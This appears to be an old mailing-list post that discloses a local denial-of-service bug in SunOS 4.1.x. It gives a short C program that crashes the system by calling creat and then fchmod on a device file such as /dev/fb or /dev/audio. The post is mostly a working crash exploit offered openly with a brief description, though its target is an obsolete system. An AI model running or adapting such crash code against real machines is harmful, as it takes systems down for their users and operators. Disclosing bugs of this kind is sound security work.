I found the following three-liner to crash SunOS 4.1.x. It works on
/dev/fb and /dev/audio on some machines; you need permission to open the
device.

main(int argc, char *argv[]) {
int fd;

fd = creat(argc < 2 ? "/dev/fb" : argv[1], 0755);
if (fd < 0) perror("creat"), exit(1);
fchmod(fd, 0755); /* BOOM */
}
